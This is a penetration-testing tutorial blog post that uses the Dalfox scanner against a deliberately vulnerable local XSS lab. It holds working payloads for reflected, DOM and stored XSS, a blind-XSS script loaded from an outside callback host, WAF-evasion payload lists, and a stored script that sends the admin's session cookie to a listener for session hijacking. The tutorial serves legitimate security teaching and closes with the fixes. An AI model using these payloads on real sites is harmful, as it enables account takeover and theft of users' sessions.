TechEarl

Dalfox Tutorial: Exploiting a Vulnerable App End to End

A complete Dalfox walkthrough against a deliberately vulnerable XSS lab: reflected, stored, and DOM sinks, captured request files, blind callbacks, custom payloads, and a working cookie-theft chain. Updated for the Dalfox v3 Rust rewrite (May 2026) with the unified scan subcommand.

Ishan Karunaratne⏱️ 11 min readUpdated
Share thisCopied
End-to-end Dalfox tutorial exploiting a vulnerable web application from reflected XSS to session cookie theft

This is the Dalfox walkthrough I wish I had when I was learning the tool. I start with nothing (no target, no captured request, no custom payloads) and finish with a reflected hit, a DOM hit, a stored payload that fires in another user's session, a blind callback over interactsh, and a working cookie-theft proof of concept against an admin account. Every step is reproducible against a vulnerable lab I publish for exactly this purpose.

If cross-site scripting is still fuzzy as a class of bug, read that first; this article assumes the variants (reflected, stored, DOM) are familiar. The Dalfox cheat sheet is the flag-by-flag reference that complements this walkthrough, and best XSS tools 2026 covers where Dalfox sits next to the alternatives.

A note on Dalfox v3. This article was updated on 2026-05-27 against the v3 Rust rewrite, released a few days earlier. v3 unified the url, file, and pipe subcommands into a single dalfox scan [input] with input-type auto-detection. The headless-Chrome verification (chromedp, --deep-domxss, --use-bav) was removed in favour of a static JavaScript parser (oxc) for DOM dataflow analysis. The legacy v2 subcommands still work as hidden aliases but the documented form is scan. If you are still on the Go v2 branch, the same workflow applies with the older flag names.

A note on the output you will see. Every example in this article was produced against techearl-labs/cross-site-scripting/xss-basic. The endpoints, sinks, demo accounts, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent: exact request counts, the precise byte-level encoding Dalfox uses for PoC URLs, the interactsh subdomain you register, and any timestamps. Those are illustrative, the structure underneath is what to follow.

The lab target

Pull and run the lab:

bash
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up xss-basic

The target listens on http://localhost:8081. It exposes three deliberately-vulnerable rendering sinks and a session cookie that is set without HttpOnly on purpose:

EndpointMethodSinkType
/search.php?q=...GETq reflected into <h2>Results for: ...</h2> unescapedReflected
/guestbook.php (body field)POSTcomment body stored, rendered raw on /, /guestbook.php, /admin.phpStored
/share.php#...GETfragment read by inline JS, written via innerHTMLDOM
/login.phpPOSTsets session_id cookie without HttpOnlyCookie chain

Demo accounts: admin / admin123, alice / alice123, bob / bob123. The guestbook requires login; everything else fires unauthenticated.

Step 1: identify the endpoints

Before Dalfox sees anything, confirm the three sinks behave as advertised. One curl per sink keeps you honest:

bash
curl -s 'http://localhost:8081/search.php?q=<x>' | grep -o 'Results for: <x>'
curl -s 'http://localhost:8081/share.php' | grep -o 'location.hash'
curl -s -c jar.txt -b jar.txt -d 'username=alice&password=alice123' \
     http://localhost:8081/login.php -o /dev/null -w '%{http_code}\n'

If the first command echoes Results for: <x> verbatim (not &lt;x&gt;), reflection is wired. If the second matches, the DOM sink reads location.hash. If the third returns 302, you have a working session cookie in jar.txt for the stored-XSS step.

Step 2: baseline single-URL scan

Dalfox v3 uses one subcommand for every input shape. A URL, a file, or piped stdin all go through scan:

bash
dalfox scan 'http://localhost:8081/search.php?q=test'

Output (abbreviated):

code
[I] Target: http://localhost:8081/search.php?q=test (URL, auto-detected)
[I] Workers: 6
[I] Discovering request method ... GET
[I] Static analysis ... Content-Type: text/html
[I] Found reflected param: q
[I] [param=q] reflected with no filter (HTML context)

[POC][G][http://localhost:8081/search.php?q=%3Cimg%2Fsrc%2Fonerror%3Dalert%2845%29%3E]
[POC][G][http://localhost:8081/search.php?q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E]
[POC][G][http://localhost:8081/search.php?q=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E]

[I] Finished scan. Total: 287 requests, 3 PoCs, elapsed 4.1s

Three PoCs, one parameter, HTML context, no filter detected. Open any of the PoC URLs in a browser and the alert fires. That is the reflected-XSS verification for reflected XSS.

The [G] tag is Dalfox saying "this PoC has been Grepped, the payload is in the response body". In v3, [V] (verified) comes from the static JavaScript analyser (oxc) confirming the reflected bytes form executable code in the surrounding context, not from a headless browser.

Step 3: piped input, multiple URLs

In real engagements you do not have one URL, you have a few hundred from a crawler or katana. v3's scan reads stdin when the input is - or simply piped:

bash
cat <<'EOF' | dalfox scan -
http://localhost:8081/search.php?q=test
http://localhost:8081/share.php?ref=home
http://localhost:8081/guestbook.php
EOF

Or save the URL list to a file and pass the path:

bash
dalfox scan urls.txt

The input type is auto-detected. A URL goes single-target, a file is parsed as one URL per line, stdin is parsed the same way. The -S (silent) flag strips progress chatter and prints PoCs only, which is the right mode for CI:

bash
cat urls.txt | dalfox scan - -S

Dalfox spreads workers across all URLs in the pipe simultaneously. Tune the worker count with --workers (the v3 rename of v2's --concurrence):

bash
cat urls.txt | dalfox scan - -S --workers 16

Step 4: a captured Burp request file

For anything that needs a session cookie, POST body, or non-trivial headers, the captured-request workflow is the same shape I use for sqlmap. Sign in as alice, intercept the next request to /guestbook.php, "Copy to file" as req.txt:

code
POST /guestbook.php HTTP/1.1
Host: localhost:8081
Cookie: session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

body=hello+from+alice

Pass it via --rawdata:

bash
dalfox scan --rawdata req.txt

Dalfox parses the method, headers, cookies, and body from the file, then injects each parameter in turn. You can also supply the same shape with individual flags. Note the v3 rename: -C/--cookie is now --cookies (pluralised) for consistency:

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=hello' \
       --cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
       --method POST

Step 5: verifying a reflected hit (static analysis, no headless browser)

v2's --deep-domxss and --use-bav spun up Chrome via chromedp to confirm the payload actually executed. v3 removed both: chromedp is gone, and instead the static JavaScript parser (oxc) analyses dataflow from sources (location.hash, URL, document.referrer) into sinks (innerHTML, eval, document.write) and reports verified hits without launching a browser. It is faster, deterministic, and works in CI without a Chrome binary on the host.

bash
dalfox scan 'http://localhost:8081/search.php?q=test'

The [V] PoCs in the output have been parsed-and-verified by oxc. The [G] PoCs are grep-matched only and may include the standard false-positive shapes (payload inside an HTML comment, inside an attribute that is properly quoted, etc.). For high-confidence-only output, filter the JSON results downstream (see Step 9).

For the DOM sink, target /share.php with a fragment payload. The fragment never reaches the server, but oxc parses the inline <script> block, sees innerHTML <- location.hash, and reports the dataflow as a confirmed DOM XSS sink:

bash
dalfox scan 'http://localhost:8081/share.php'

Output:

code
[POC][V][http://localhost:8081/share.php#<img src=x onerror=alert(1)>]
[I] DOM sink: innerHTML <- location.hash (oxc, static)

Inline <script> tags are stripped by innerHTML per the HTML spec (this is a real platform behaviour, not a defence), so the event-handler form is what works against the DOM-based XSS sink in this lab.

Step 6: stored XSS

Stored XSS is the awkward one because the payload goes in via one request and comes back out on a different page. v2 had --found-action to drive this; v3 removed it in favour of the REST API and CLI-stdout piping. The practical workflow is now two passes: scan to dump candidate payloads, then drive the verify-after-POST step with a small script.

For the stored-XSS sink in this lab, anything that survives htmlspecialchars (it is not called) executes verbatim on the next view of /guestbook.php, /, or /admin.php. A simple end-to-end with curl:

bash
curl -s -b 'session_id=...' \
     -d 'body=<script>alert(document.domain)</script>' \
     http://localhost:8081/guestbook.php

curl -s -b 'session_id=...' http://localhost:8081/guestbook.php \
     | grep -o '<script>alert(document.domain)</script>'

If the second grep matches, the payload is stored and rendered raw. Sign in via a real browser and the alert fires on page load.

To drive this from Dalfox, post the payload with scan and then re-fetch the destination URL by hand or via a wrapper script:

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=DALFOX' \
       --cookies 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
       --method POST

curl -s -b 'session_id=8f4a3c2b1d0e9f8a7b6c5d4e3f2a1b0c' \
     http://localhost:8081/guestbook.php | grep -o 'DALFOX'

The v3 REST API (dalfox server) is the right tool for the "POST then poll" automation: register a webhook that re-fetches the candidate view URLs and reports back. The CLI itself is now the one-shot scanner.

Step 7: blind XSS with interactsh

Blind XSS is the variant where the payload fires somewhere you cannot see (admin dashboards, support-ticket viewers, log aggregators). The detection model is "the payload calls home". The -b (blind) flag is unchanged from v2:

bash
# In one terminal, register an interactsh subdomain
interactsh-client

# Copy the registered host, e.g. c8a1f0e2.oast.fun

Then in another terminal, point Dalfox at it:

bash
dalfox scan 'http://localhost:8081/guestbook.php' \
       --data 'body=PLACEHOLDER' \
       --cookies 'session_id=...' \
       --method POST \
       -b c8a1f0e2.oast.fun

Dalfox replaces PLACEHOLDER (or just the body field) with a blind-XSS payload that loads a remote script:

html
<script src="//c8a1f0e2.oast.fun/x.js"></script>

It posts that into the guestbook. Now sign in as admin and load /admin.php. The browser fetches x.js from c8a1f0e2.oast.fun, interactsh-client logs the hit, and Dalfox flags the parameter as confirmed-blind. In real engagements this is how you catch XSS in flows you have no visibility into.

Step 8: custom payloads and WAF-evasion patterns

v3 keeps custom payload files as the lever when default payloads bounce off a filter. The flag is the same; one payload per line:

code
"><svg/onload=confirm(1)>
'-confirm(1)-'
javascript:confirm(1)
<img src=x onerror=confirm`1`>
<iframe srcdoc="<script>parent.confirm(1)</script>">

Feed it in:

bash
dalfox scan 'http://localhost:8081/search.php?q=test' \
       --custom-payload payloads.txt

For built-in WAF evasion, v3 introduced --waf-evasion, which enables the encoded and obfuscated payload variants Dalfox carries for common WAFs (Cloudflare, AWS WAF, Akamai). The HTTP-parameter-pollution mode (--hpp) is also new in v3 and helpful against filters that examine only the first occurrence of a duplicated parameter:

bash
dalfox scan 'http://localhost:8081/search.php?q=test' --waf-evasion --hpp

For the bytes-by-bytes "what does the filter do" workflow, capture traffic through Burp and run Dalfox with a proxy so you can watch every request:

bash
dalfox scan 'http://localhost:8081/search.php?q=test' \
       --proxy http://127.0.0.1:8080 --custom-payload payloads.txt

The lab's session cookie is set without HttpOnly, which means document.cookie reads it from JS. Chain this with the stored sink and admin's cookie leaves the browser.

Listener (any scratch directory):

bash
python3 -m http.server 9000

Sign in as alice, post a comment with body:

html
<script>new Image().src='http://localhost:9000/c?'+document.cookie</script>

Sign out. Sign in as admin, load /admin.php. The listener prints:

code
127.0.0.1 - - [27/May/2026 11:34:02] "GET /c?session_id=7e2a9b...redacted HTTP/1.1" 404 -

Replay that cookie from a fresh browser profile (or curl -b 'session_id=7e2a9b...' http://localhost:8081/admin.php) and the admin pages render under your control. The chain is: stored sink + missing HttpOnly + admin viewing the same page = session hijack. Full mechanics in XSS, stealing session cookies.

The defender's fix is two lines: set HttpOnly on the session cookie, and HTML-encode the guestbook body on output (htmlspecialchars($body, ENT_QUOTES, 'UTF-8')). Either one alone breaks the chain.

Step 10: structured output for CI

For CI integration or report generation, v3 writes structured output via -f (format) and -o (output file). Markdown and SARIF are first-class:

bash
dalfox scan 'http://localhost:8081/search.php?q=test' -f markdown -o report.md
dalfox scan 'http://localhost:8081/search.php?q=test' -f sarif -o results.sarif

SARIF is the format GitHub Code Scanning, GitLab, and most enterprise scanners ingest natively. Upload results.sarif straight into your pipeline and the PoCs show up as annotated findings on the pull request.

For a bulk run with a hard time budget (useful in CI so a slow scan does not stall the pipeline), set --scan-timeout and --max-payloads-per-param:

bash
cat urls.txt | dalfox scan - -S \
       -f sarif -o results.sarif \
       --scan-timeout 600 --max-payloads-per-param 50

--dry-run runs a preflight without firing payloads, which is the right thing to wire into a PR check that wants to fail-fast on configuration mistakes before spending the scan budget.

What I would do next on this target

In a real engagement after Step 9 the report writes itself:

  1. Confirm reflected XSS on search.php?q, HTML context, no encoding.
  2. Confirm DOM XSS on share.php#, sink is innerHTML from location.hash.
  3. Confirm stored XSS on guestbook.php, body field, renders on three pages.
  4. Confirm session cookie lacks HttpOnly.
  5. Confirm full session hijack of admin via stored payload.
  6. Recommend: htmlspecialchars on every output, HttpOnly and SameSite=Lax on the session cookie, a Content-Security-Policy header that forbids inline script, and a templating engine (Twig or Blade) that escapes by default rather than the raw <?= $var ?> pattern this lab uses.

The point of this walkthrough is the chain. Each sink on its own is a paper cut; the chain (reflected probe to find the bug class, stored payload to plant it, missing HttpOnly to read the cookie, admin viewing the page to fire it) is what real XSS looks like in practice.

Where to go next

Sources

Authoritative references this article was fact-checked against.

TagsDalfoxXSSTutorialPenetration TestingSecurityCross-Site ScriptingDocker

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts

LFImap Tutorial: Exploiting a Vulnerable App End to End

A complete LFImap walkthrough against a deliberately vulnerable lab app: endpoint identification, baseline scan, traversal, php://filter source disclosure, php://input RCE, and log poisoning. Every step reproducible with one docker compose command.

commix Tutorial: Exploiting a Vulnerable App End to End

A complete commix walkthrough against a deliberately vulnerable lab app: identify the sink, capture the request, run the classic, time-based, and file-based techniques, pop an os-shell, catch a reverse TCP, and exploit the escapeshellcmd argument-injection gap.

sqlmap Tutorial: Exploiting a Vulnerable App End to End

A complete sqlmap walkthrough against a deliberately vulnerable lab app: target identification, baseline, capture, detection, fingerprinting, enumeration, dumping, file read, and OS shell. Every step reproducible with one docker compose command.